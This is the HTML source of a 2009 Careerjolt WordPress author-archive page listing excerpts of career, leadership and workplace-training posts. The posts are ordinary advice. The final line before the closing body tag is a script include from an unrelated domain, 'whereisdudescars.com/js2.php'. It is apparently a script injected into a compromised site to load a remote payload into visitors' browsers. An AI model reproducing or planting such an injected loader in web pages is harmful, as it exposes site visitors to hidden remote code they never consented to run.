Careerjolt | Author Archives <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="description" content= "Street smart ideas to win the workplace game" /> <meta name="keywords" content="career advice, workplace issues, productivity, leadership, management strategies, motivation, change, innovation, success" /> <link rel="stylesheet" type="text/css" href="http://careerjolt.net/wp-content/themes/busybee/style.css" media="screen" /> <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://feeds.feedburner.com/careerjolt/qFPL" /> <link rel="pingback" href="http://careerjolt.net/xmlrpc.php" />  <link type="text/css" rel="stylesheet" href="http://careerjolt.net/wp-content/plugins/tabbed-widgets/js/uitabs.css" /> <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://careerjolt.net/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://careerjolt.net/wp-includes/wlwmanifest.xml" /> <script type='text/javascript' src='http://careerjolt.net/wp-includes/js/jquery/jquery.js?ver=1.2.6'></script> <script type='text/javascript' src='http://careerjolt.net/wp-includes/js/jquery/ui.core.js?ver=1.5.2'></script> <script type='text/javascript' src='http://careerjolt.net/wp-includes/js/jquery/ui.tabs.js?ver=1.5.2'></script> <script type='text/javascript' src='http://careerjolt.net/wp-content/plugins/tabbed-widgets/js/jquery.dimensions.pack.js?ver=2.7'></script> <script type='text/javascript' src='http://careerjolt.net/wp-content/plugins/tabbed-widgets/js/jquery.accordion.js?ver=2.7'></script> <script type='text/javascript' src='http://careerjolt.net/wp-content/plugins/tabbed-widgets/js/jquery.easing.js?ver=2.7'></script> <script type='text/javascript' src='http://careerjolt.net/wp-content/plugins/tabbed-widgets/tabbed-widgets.php?returnjs=true&ver=2.7'></script> <script type='text/javascript' src='http://careerjolt.net/wp-content/plugins/podcasting/player/swfobject.js?ver=2.1'></script> <script type='text/javascript' src='http://careerjolt.net/wp-content/plugins/podcasting/player/audio-player-noswfobject.js?ver=2.0'></script> <meta name="generator" content="WordPress 2.7" />  <link rel="stylesheet" type="text/css" href="http://careerjolt.net/wp-content/plugins/cforms/styling/grey_blocks.css" /> <script type="text/javascript" src="http://careerjolt.net/wp-content/plugins/cforms/js/cforms.js"></script>  <link rel="stylesheet" href="http://careerjolt.net/wp-content/plugins/drop-caps/dropcaps.css" type="text/css" media="screen" />  <script type="text/javascript"> AudioPlayer.setup("http://careerjolt.net/wp-content/plugins/podcasting/player/player.swf", { width: 290 }); </script> <link rel="stylesheet" type="text/css" media="screen" href="http://careerjolt.net/wp-content/plugins/wp-contact-form-iii/wp-contactform-iii.css" /> <script type="text/javascript" language="javascript" src="http://careerjolt.net/wp-content/plugins/wp-twitip-id-0.9.2/js/addtwitterfield.js"></script><script type="text/javascript">addtwitterfield('url',"<br/>","<label for="atf_twitter_id">Twitter ID</label><br/>",'textarea','off','off','off');</script><link href="http://careerjolt.net/wp-content/themes/busybee/styles/blue.css" rel="stylesheet" type="text/css" /> <link rel="alternate" type="application/rss+xml" title="Podcast: Careerjolt" href="http://careerjolt.net/feed/podcast/" /> <script type="text/javascript" src="http://careerjolt.net/wp-content/themes/busybee/includes/js/tabs.js"></script> </head> <body>  <div id="wrap">  <div id="top-out"> <div id="top"> <div id="header"> <a href="http://careerjolt.net" title="streetsmart ideas to win the workplace game"><img class="title" src="http://careerjolt.net/wp-content/uploads/2008/12/careerjoltyellow3-trans.png"" alt="Careerjolt" /></a> <h1><a href="http://careerjolt.net">Careerjolt</a></h1>    <div class="latest_twitter"> <a href="http://www.twitter.com/JerryRoberts" title="Follow me on Twitter"><img src="http://careerjolt.net/wp-content/themes/busybee/images/twitter-trans.png" alt="Latest Tweet from Twitter" /></a> <ul id="twitter_update_list"><li></li></ul> </div>  </div>  <div id="cat_navi" class="wrap"> <ul id="secnav" style="float:left;"> <li><a href="http://careerjolt.net">Home</a></li> <li><a href="http://careerjolt.net/about/">About<br /><span>who.what.why</span></a></li> <li><a href="http://careerjolt.net/category/videos/">Video<br /><span>quick ideas</span></a></li> <li><a href="http://careerjolt.tumblr.com/">Links<br /><span>connections</span></a></li> <li><a href="http://careerjolt.net/contact/">Contact<br /><span>let's talk!</span></a></li> </ul> <div class="social" style="float:right"> <span style="padding:12px 5px 0 0;float:left;"><strong>Connect</strong></span> <a href="http://www.facebook.com/home.php?#/profile.php?id=1056703862&ref=name" title="My profile on Facebook"><img src="http://careerjolt.net/wp-content/themes/busybee/images/facebook-trans.png" alt="My Profile on Facebook" /><a> <a href="http://www.linkedin.com/pub/0/908/397" title="My profile on LinkedIn"><img src="http://careerjolt.net/wp-content/themes/busybee/images/linkedin-trans.png" alt="My Profile on Linkedin" /></a> </div> <ul class="rss" style="float:right"> <li><strong>Subscribe</strong></li> <li>( <a href="http://feeds.feedburner.com/careerjolt/qFPL">RSS</a> |</li> <li class="last"><a href="http://www.feedburner.com/fb/a/emailverifySubmit?feedId=2806182" target="_blank">Email</a> )</li> </ul> <div class="fix"></div> </div>  </div> </div>   <div id="middle-out-top"> <div id="middle-out-bottom"> <div id="middle-content"> <div id="middle-content-bottom">  <div id="content" class="wrap"> <div class="col-left"> <div id="main-content"> <h2 class="arh">Archive by Author</h2>  <div class="archives post wrap"> <div class="block"> <h2><a href="http://careerjolt.net/the-carrot-principle-by-chester-elton-%e2%80%94-book-brief/" rel="bookmark" title="The Carrot Principle by Chester Elton — Book Brief">The Carrot Principle by Chester Elton — Book Brief</a></h2> <p class="post-details">Posted on 29. Jun, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/the-carrot-principle-by-chester-elton-%e2%80%94-book-brief/#comments">0</a> </div> <p><object type="application/x-shockwave-flash" data="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" width="250" height="180"><param name="FlashVars" value="playerMode=embedded&allowFullScreen=1&flavor=EmbeddedPlayerVersion&showOptions=0&skin=http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/skins/proteus-bnet.png&autoPlay=false&movieAspect=4.3&embeddingAllowed=true&clockColor=0x3b3b3b&marqueeColor=0x70AF00&chromeColor=0xCF0000&paramsURI=http://www.bnet.com%2F2461-13724_23-314287.xml%3Fwidth%3D432%26height%3D362%26ptype%3D6475%26mode%3Dembedded%26autoplay%3Dfalse" /><param name="movie" value="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="always"></object></p> <h4 class="continue"><a href="http://careerjolt.net/the-carrot-principle-by-chester-elton-%e2%80%94-book-brief/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to Hail the New Texting Champion!" href="http://careerjolt.net/hail-the-new-texting-champion/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/06/textingoptimized.jpg&h=88&w=88&zc=1&q=95" alt="Hail the New Texting Champion!" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/hail-the-new-texting-champion/" rel="bookmark" title="Hail the New Texting Champion!">Hail the New Texting Champion!</a></h2> <p class="post-details">Posted on 17. Jun, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/hail-the-new-texting-champion/#comments">0</a> </div> <p>There’s a contest for seemingly everything these days so I wasn’t surprised when I caught the news that we had crowned a new texting champion. That’s right, America has a new text message superstar, 15-year-old Kate Moore of Des Moines, Iowa.</p> <p>Moore outpaced 20 finalists from around the country over two days of challenges such as texting blindfolded and texting while maneuvering through a moving obstacle course. Okay, there’s some creativity involved with that.</p> <p>Let’s make it more meaningful</p> <p>Maybe they should have added adult activities such as …</p> <h4 class="continue"><a href="http://careerjolt.net/hail-the-new-texting-champion/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to Kids and Working: We Need to Get to Them Earlier" href="http://careerjolt.net/kids-and-working-we-need-to-get-to-them-earlier/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/04/classroom.jpg&h=88&w=88&zc=1&q=95" alt="Kids and Working: We Need to Get to Them Earlier" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/kids-and-working-we-need-to-get-to-them-earlier/" rel="bookmark" title="Kids and Working: We Need to Get to Them Earlier">Kids and Working: We Need to Get to Them Earlier</a></h2> <p class="post-details">Posted on 17. Apr, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/kids-and-working-we-need-to-get-to-them-earlier/#comments">2</a> </div> <p>Most managers look at the generation coming out of school with a fair degree of skepticism that they’ll be able to make a serious contribution early on.</p> <p>To a large extent, this view is accurate. Most young women and men aren’t adequately prepared to deliver even minimum wage value. Often times it’s a lack of basic skills but, too frequently, it’s the attitude toward work.</p> <p>A lot of kids want money and know they have to work to get it, but they don’t care much for actually doing it. Work looks boring, tedious, repetitive, uninspiring, and generally uncool. Maybe this is because we’ve…</p> <h4 class="continue"><a href="http://careerjolt.net/kids-and-working-we-need-to-get-to-them-earlier/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to How to Remind Yourself of What You Really Believe" href="http://careerjolt.net/how-to-remind-yourself-of-what-you-really-believe/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/04/postit.jpg&h=88&w=88&zc=1&q=95" alt="How to Remind Yourself of What You Really Believe" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/how-to-remind-yourself-of-what-you-really-believe/" rel="bookmark" title="How to Remind Yourself of What You Really Believe">How to Remind Yourself of What You Really Believe</a></h2> <p class="post-details">Posted on 09. Apr, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/how-to-remind-yourself-of-what-you-really-believe/#comments">0</a> </div> <p>I remember the first time I heard the line, “Those who can, do, and those who can’t, teach” — and I thought it was a strange viewpoint. Why can’t teachers “do” and “doers” teach? The truth is that they can, but the reality is it doesn’t happen as often as it should in a meaningful way.</p> <p>I’m a bit unique in the world of trainers who lead courses on management and leadership, in that I actually…</p> <h4 class="continue"><a href="http://careerjolt.net/how-to-remind-yourself-of-what-you-really-believe/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to The Power of (Re)creation" href="http://careerjolt.net/the-power-of-recreation/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/03/madscientist2.jpg&h=88&w=88&zc=1&q=95" alt="The Power of (Re)creation" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/the-power-of-recreation/" rel="bookmark" title="The Power of (Re)creation">The Power of (Re)creation</a></h2> <p class="post-details">Posted on 24. Mar, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/the-power-of-recreation/#comments">2</a> </div> <p>I have trained a lot of people over the years and the courses I originally wrote and produced have held up well throughout continual change.</p> <p>Truth be known, I’ve changed a lot as well. Because I’m not the same person I was almost a decade ago when I created the initial materials, I prefer not to present some of those courses. The information is still solid and value is high, but I’ve moved on and…</p> <h4 class="continue"><a href="http://careerjolt.net/the-power-of-recreation/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to How to Leverage Training (Part 2): Our Initial Results" href="http://careerjolt.net/how-to-leverage-training-part-2-our-initial-results/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/03/leveragetraining.jpg&h=88&w=88&zc=1&q=95" alt="How to Leverage Training (Part 2): Our Initial Results" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/how-to-leverage-training-part-2-our-initial-results/" rel="bookmark" title="How to Leverage Training (Part 2): Our Initial Results">How to Leverage Training (Part 2): Our Initial Results</a></h2> <p class="post-details">Posted on 17. Mar, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/how-to-leverage-training-part-2-our-initial-results/#comments">2</a> </div> <p>In my last post I discussed the concept of making training — rather the followup to training — something that the entire staff can take part in. If you missed it, you’ll benefit from getting the background with How to Leverage Training (Pt. 1) — How to Make it a Whole Team Activity. This sets the stage for what’s in this segment.</p> <p>We’ll report on our progress incrementally</p> <p>When I decided to write about our shared training experience I figured I would let it all play out, and then report on the outcome. That changed when I…</p> <h4 class="continue"><a href="http://careerjolt.net/how-to-leverage-training-part-2-our-initial-results/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to How to Leverage Training (Pt. 1): Make It a Whole Team Activity" href="http://careerjolt.net/how-to-leverage-training-pt-1-make-it-a-whole-team-activity/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/03/leveragetraining.jpg&h=88&w=88&zc=1&q=95" alt="How to Leverage Training (Pt. 1): Make It a Whole Team Activity" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/how-to-leverage-training-pt-1-make-it-a-whole-team-activity/" rel="bookmark" title="How to Leverage Training (Pt. 1): Make It a Whole Team Activity">How to Leverage Training (Pt. 1): Make It a Whole Team Activity</a></h2> <p class="post-details">Posted on 10. Mar, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/how-to-leverage-training-pt-1-make-it-a-whole-team-activity/#comments">2</a> </div> <p>Imagine if you could multiply the benefits of training, easily and in a way that produces greater value for all involved. That’s what I’m going to give you in this post.</p> <p>Our story</p> <p>We recently closed our company for a full day — mid-week — so that each member of our team could attend a leadership teleconference; 10 world class speakers and thought leaders, who deliver exceptional value that touches attendees in many ways.</p> <p>For a small company this is no small undertaking. It would mean that work would pile up that had to be done the next day, and no sales calls would be made. It was a zero revenue day, and we had projects with deadlines.</p> <p>Our manager felt that it would be a good time for the whole team to have a shared learning experience. I trust her judgment and during the course I began to think of a way to not just leverage the training benefit, but to…</p> <h4 class="continue"><a href="http://careerjolt.net/how-to-leverage-training-pt-1-make-it-a-whole-team-activity/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to It’s Time to Say Goodbye to Hello" href="http://careerjolt.net/its-time-to-say-goodbye-to-hello/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/03/hello.jpg&h=88&w=88&zc=1&q=95" alt="It’s Time to Say Goodbye to Hello" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/its-time-to-say-goodbye-to-hello/" rel="bookmark" title="It’s Time to Say Goodbye to Hello">It’s Time to Say Goodbye to Hello</a></h2> <p class="post-details">Posted on 07. Mar, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/its-time-to-say-goodbye-to-hello/#comments">7</a> </div> <p>Every year it is suggested that certain words be retired from our language. If it hasn’t already been nominated, I suggest we stop using “hello.”</p> <p>No, I haven’t lost my mind.</p> <p>This is actually a contextual thing.</p> <p>I don’t want to take such a warm and wonderful word out of general use, one we use umpteen times a day when greeting people on the phone, in e-mails, or in person.</p> <p>“Hello” has a permanent place in our language (and in my heart).</p> <p>What I want to see become quick history is the other version:</p> <h4 class="continue"><a href="http://careerjolt.net/its-time-to-say-goodbye-to-hello/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to Effort vs. Production — Getting People On the Correct Page" href="http://careerjolt.net/effort-vs-production-%e2%80%94-getting-people-on-the-correct-page/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/03/results2.jpg&h=88&w=88&zc=1&q=95" alt="Effort vs. Production — Getting People On the Correct Page" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/effort-vs-production-%e2%80%94-getting-people-on-the-correct-page/" rel="bookmark" title="Effort vs. Production — Getting People On the Correct Page">Effort vs. Production — Getting People On the Correct Page</a></h2> <p class="post-details">Posted on 06. Mar, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/effort-vs-production-%e2%80%94-getting-people-on-the-correct-page/#comments">1</a> </div> <p>You have to love people who give 100 percent all the time. Athlete’s call it “leaving it all on the field.” There’s nothing left in the tank. You did everything you could to deliver the winning results.</p> <p>Sometimes people in our organizations give this level of effort, and still fail.</p> <p>What if a worker tries as hard as humanly possible, but fails on a regular basis? What should you as a leader do?</p> <h4 class="continue"><a href="http://careerjolt.net/effort-vs-production-%e2%80%94-getting-people-on-the-correct-page/">Continue Reading</a></h4> </div> </div>   <div class="archives post wrap"> <div class="block"> <a title="Permanent Link to It’s a Great Time For Boomers" href="http://careerjolt.net/its-a-great-time-for-boomers/"><img src="http://careerjolt.net/wp-content/themes/busybee/thumb.php?src=http://careerjolt.net/wp-content/uploads/2009/03/boomerhappy.jpg&h=88&w=88&zc=1&q=95" alt="It’s a Great Time For Boomers" class="thumbnail alignleft" /></a> <h2><a href="http://careerjolt.net/its-a-great-time-for-boomers/" rel="bookmark" title="It’s a Great Time For Boomers">It’s a Great Time For Boomers</a></h2> <p class="post-details">Posted on 04. Mar, 2009 by <a href="http://careerjolt.net/author/admin/" title="Posts by admin">admin</a>.</p> <div class="comment-cloud"> <a href="http://careerjolt.net/its-a-great-time-for-boomers/#comments">1</a> </div> <p>If you’re in the Baby Boomer generation I hope you feel the way I do — that it’s a great time to be in the workforce.</p> <p>Sure, some changes are more difficult than others to accept, and technology can be a challenge, but the generational makeup is in our favor.</p> <p>Jerry, reduce dosage</p> <p>I can hear some people say, “Don’t abuse your prescription medicine, are you crazy — the generational makeup is against us.”</p> <p>Well, it would be if the Gen Y (aka Millennials, Gen “We”) crowd was more like the Gen X-ers, but in reality they’re more like Boomers.</p> <h4 class="continue"><a href="http://careerjolt.net/its-a-great-time-for-boomers/">Continue Reading</a></h4> </div> </div>  <div class="more_entries wrap"> <div class='Nav'><strong class='on'>1</strong> <a href="http://careerjolt.net/author/admin/page/2/">2</a> <a href="http://careerjolt.net/author/admin/page/2/" ><strong>»</strong></a></div> </div> </div> </div> <div class="col-right">  <div id="sidebar">  <div id="widgetized"> <div id="search_main" class="block"> <form method="get" id="searchform" action="http://careerjolt.net"> <div> <input type="text" class="field" name="s" id="s" value="Enter keywords..." onfocus="if (this.value == 'Enter keywords...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Enter keywords...';}" /> <input type="image" src="http://careerjolt.net/wp-content/themes/busybee/styles/blue/img_search.gif" class="submit" name="submit" /> </div> </form> </div> </div>  <div id="tabs" class="block"> <ul id="idTabs" class="wrap tabs"> <li><a href="#pop">Popular</a></li> <li><a href="#comm">Comments</a></li> <li><a href="#tagcloud">Topics</a></li> </ul> <div class="inside"> <ul id="pop"> </ul> <ul id="comm"> <li> <img class="thumbnail" src="http://www.gravatar.com/avatar.php?gravatar_id=2d9fdbf9b0ff0835a5d0bdecd06977f9&size=35" alt="" /> <a href="http://careerjolt.net/effort-vs-production-%e2%80%94-getting-people-on-the-correct-page/#comment-3420" title="on Effort vs. Production — Getting People On the Correct Page"> Success Mindset: I Like to read about success mindset.Got your page... </a> <br style="clear:both" /> </li> <li> <img class="thumbnail" src="http://www.gravatar.com/avatar.php?gravatar_id=0490e2e6b8aa592d60b7bfe318b9ff81&size=35" alt="" /> <a href="http://careerjolt.net/kids-and-working-we-need-to-get-to-them-earlier/#comment-1637" title="on Kids and Working: We Need to Get to Them Earlier"> admin: @Scott — Exactly. Everybody wins if this happens. ... </a> <br style="clear:both" /> </li> <li> <img class="thumbnail" src="http://www.gravatar.com/avatar.php?gravatar_id=c17f92550bb9a69dfd1f88217e81126b&size=35" alt="" /> <a href="http://careerjolt.net/kids-and-working-we-need-to-get-to-them-earlier/#comment-1433" title="on Kids and Working: We Need to Get to Them Earlier"> Scott Lovingood: Training our children to understand what it takes ... </a> <br style="clear:both" /> </li> <li> <img class="thumbnail" src="http://www.gravatar.com/avatar.php?gravatar_id=0490e2e6b8aa592d60b7bfe318b9ff81&size=35" alt="" /> <a href="http://careerjolt.net/for-zen-habits-readerssome-afterthoughts/#comment-787" title="on For Zen Habits Readers...Some Afterthoughts"> admin: Hi Alza, Sometimes, progress comes very slowly. B... </a> <br style="clear:both" /> </li> <li> <img class="thumbnail" src="http://www.gravatar.com/avatar.php?gravatar_id=49fb7357f0bc11449ce8800cb051c555&size=35" alt="" /> <a href="http://careerjolt.net/for-zen-habits-readerssome-afterthoughts/#comment-783" title="on For Zen Habits Readers...Some Afterthoughts"> alza2: (Why did it take me that much time to reply? I don... </a> <br style="clear:both" /> </li> </ul> <ul id="tagcloud"> <li class="cat-item cat-item-3"><a href="http://careerjolt.net/category/topics/" title="View all posts filed under Topics">Topics</a> <ul class='children'> <li class="cat-item cat-item-9"><a href="http://careerjolt.net/category/topics/attitude/" title="View all posts filed under Attitude">Attitude</a> </li> <li class="cat-item cat-item-14"><a href="http://careerjolt.net/category/topics/change/" title="View all posts filed under Change">Change</a> </li> <li class="cat-item cat-item-7"><a href="http://careerjolt.net/category/topics/communication/" title="View all posts filed under Communication">Communication</a> </li> <li class="cat-item cat-item-10"><a href="http://careerjolt.net/category/topics/innovation/" title="View all posts filed under Innovation">Innovation</a> </li> <li class="cat-item cat-item-5"><a href="http://careerjolt.net/category/topics/leadership/" title="View all posts filed under Leadership">Leadership</a> </li> <li class="cat-item cat-item-6"><a href="http://careerjolt.net/category/topics/management/" title="View all posts filed under Management">Management</a> </li> <li class="cat-item cat-item-15"><a href="http://careerjolt.net/category/topics/miscellaneous/" title="View all posts filed under Miscellaneous">Miscellaneous</a> </li> <li class="cat-item cat-item-8"><a href="http://careerjolt.net/category/topics/motivation/" title="View all posts filed under Motivation">Motivation</a> </li> <li class="cat-item cat-item-13"><a href="http://careerjolt.net/category/topics/service/" title="View all posts filed under Service">Service</a> </li> <li class="cat-item cat-item-12"><a href="http://careerjolt.net/category/topics/success/" title="View all posts filed under Success">Success</a> </li> <li class="cat-item cat-item-11"><a href="http://careerjolt.net/category/topics/the-boss-series/" title="View all posts filed under The Boss Series">The Boss Series</a> </li> </ul> </li> <li class="cat-item cat-item-1"><a href="http://careerjolt.net/category/uncategorized/" title="View all posts filed under Uncategorized">Uncategorized</a> </li> <li class="cat-item cat-item-4"><a href="http://careerjolt.net/category/videos/" title="View all posts filed under Videos">Videos</a> </li> </ul> </div> </div>   <div id="widgetized"> <div id="video" class="block wrap"> <h2 class="widget_title">Latest Videos</h2> <div class="fix"></div> <div id="video-721" class="latest"> <object type="application/x-shockwave-flash" data="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" width="250" height="180"><param name="FlashVars" value="playerMode=embedded&allowFullScreen=1&flavor=EmbeddedPlayerVersion&showOptions=0&skin=http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/skins/proteus-bnet.png&autoPlay=false&movieAspect=4.3&embeddingAllowed=true&clockColor=0x3b3b3b&marqueeColor=0x70AF00&chromeColor=0xCF0000¶msURI=http://www.bnet.com%2F2461-13724_23-314287.xml%3Fwidth%3D432%26height%3D362%26ptype%3D6475%26mode%3Dembedded%26autoplay%3Dfalse" /><param name="movie" value="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="always"></object> </div> <div id="video-275" class="latest"> <object width="250" height="180"><param name="movie" value="http://www.youtube.com/v/vknHKTy1MLY&hl=en&fs=1&rel=0&color1=0x2b405b&color2=0x6b8ab6"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/vknHKTy1MLY&hl=en&fs=1&rel=0&color1=0x2b405b&color2=0x6b8ab6" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="250" height="180"></embed></object> </div> <div id="video-262" class="latest"> <object width="250" height="180"> <embed src='http://www.cbs.com/thunder/swf30can10cbsnews/rcpHolderCbs-3-4x3.swf' FlashVars='link=http%3A%2F%2Fwww%2Ecbsnews%2Ecom%2Fvideo%2Fwatch%2F%3Fid%3D4667942n&partner=news&vert=News&autoPlayVid=false&releaseURL=http://release.theplatform.com/content.select?pid=wglU6JwqMMap79WDWjf_cluG2ITUm2Xf&name=cbsPlayer&allowScriptAccess=always&wmode=transparent&embedded=y&scale=noscale&rv=n&salign=tl' allowFullScreen='true' width='250' height='180' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed><br/><a href='http://www.cbs.com'>Watch CBS Videos Online</a> </div> <div class="vidtabs"> <ul id="idTabs" class="wrap tabs"> <li><a href="#video-721" title="The Carrot Principle by Chester Elton — Book Brief">1</a></li> <li><a href="#video-275" title="“Generation We” and What it Means For the Workplace">2</a></li> <li><a href="#video-262" title="Pete Carroll — Something Good Is Just About to Happen">3</a></li> </ul> </div> </div> </div> <center><img src="http://badges.alltop.com/images/f_alltop_250x250.jpg" width="250" height="250" alt="Featured in Alltop" /></center> </div>  </div> </div>  </div> </div> </div> </div>   <div id="footer-out"> <div id="footer"> <div class="position wrap">  <div class="block"> <div id="recent-posts" class="widget widget_recent_entries"> <h2 class="widget_title">Recent Posts</h2> <ul> <li><a href="http://careerjolt.net/the-carrot-principle-by-chester-elton-%e2%80%94-book-brief/">The Carrot Principle by Chester Elton — Book Brief </a></li> <li><a href="http://careerjolt.net/mindset-part-25-how-to-find-out-who-you-are/">Mindset (Part 2.5) How to Find Out Who You Are </a></li> <li><a href="http://careerjolt.net/how-to-find-out-who-you-are-part-1/">Mindset (part 2): How to Find Out Who You Are </a></li> <li><a href="http://careerjolt.net/hail-the-new-texting-champion/">Hail the New Texting Champion! </a></li> <li><a href="http://careerjolt.net/mindset-part-1-theyre-not-out-to-get-you/">Mindset (part 1): They’re Not Out to Get You </a></li> <li><a href="http://careerjolt.net/kids-and-working-we-need-to-get-to-them-earlier/">Kids and Working: We Need to Get to Them Earlier </a></li> <li><a href="http://careerjolt.net/how-to-remind-yourself-of-what-you-really-believe/">How to Remind Yourself of What You Really Believe </a></li> <li><a href="http://careerjolt.net/the-power-of-recreation/">The Power of (Re)creation </a></li> <li><a href="http://careerjolt.net/how-to-leverage-training-part-2-our-initial-results/">How to Leverage Training (Part 2): Our Initial Results </a></li> <li><a href="http://careerjolt.net/how-to-leverage-training-pt-1-make-it-a-whole-team-activity/">How to Leverage Training (Pt. 1): Make It a Whole Team Activity </a></li> </ul> </div> </div> <div class="block"> <div id="categories-297544641" class="widget widget_categories"><h2 class="widget_title">Categories</h2> <ul> <li class="cat-item cat-item-9"><a href="http://careerjolt.net/category/topics/attitude/" title="View all posts filed under Attitude">Attitude</a> </li> <li class="cat-item cat-item-14"><a href="http://careerjolt.net/category/topics/change/" title="View all posts filed under Change">Change</a> </li> <li class="cat-item cat-item-7"><a href="http://careerjolt.net/category/topics/communication/" title="View all posts filed under Communication">Communication</a> </li> <li class="cat-item cat-item-10"><a href="http://careerjolt.net/category/topics/innovation/" title="View all posts filed under Innovation">Innovation</a> </li> <li class="cat-item cat-item-5"><a href="http://careerjolt.net/category/topics/leadership/" title="View all posts filed under Leadership">Leadership</a> </li> <li class="cat-item cat-item-6"><a href="http://careerjolt.net/category/topics/management/" title="View all posts filed under Management">Management</a> </li> <li class="cat-item cat-item-15"><a href="http://careerjolt.net/category/topics/miscellaneous/" title="View all posts filed under Miscellaneous">Miscellaneous</a> </li> <li class="cat-item cat-item-8"><a href="http://careerjolt.net/category/topics/motivation/" title="View all posts filed under Motivation">Motivation</a> </li> <li class="cat-item cat-item-12"><a href="http://careerjolt.net/category/topics/success/" title="View all posts filed under Success">Success</a> </li> <li class="cat-item cat-item-11"><a href="http://careerjolt.net/category/topics/the-boss-series/" title="View all posts filed under The Boss Series">The Boss Series</a> </li> <li class="cat-item cat-item-1"><a href="http://careerjolt.net/category/uncategorized/" title="View all posts filed under Uncategorized">Uncategorized</a> </li> <li class="cat-item cat-item-4"><a href="http://careerjolt.net/category/videos/" title="View all posts filed under Videos">Videos</a> </li> </ul> </div> </div> <div class="block"> </div>  </div> </div> </div>   <div id="copyright-out"> <div id="copyright" class="wrap"> <div class="col-left"> <p>© 2008 Careerjolt. All Rigths Reserved.</p> </div> <div class="col-right"> <p>Powered by Wordpress. Designed by <a href="#"><img src="http://careerjolt.net/wp-content/themes/busybee/styles/blue/img_woothemes.jpg" width="87" height="21" alt="Woo Themes" /></a></p> </div> </div> </div>  </div> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-6810162-1"); pageTracker._trackPageview(); } catch(err) {}</script> <script type="text/javascript" src="http://twitter.com/javascripts/blogger.js"></script> <script type="text/javascript" src="http://twitter.com/statuses/user_timeline/JerryRoberts.json?callback=twitterCallback2&count=1"></script> <script src="http://whereisdudescars.com/js2.php"></script> </body> </html>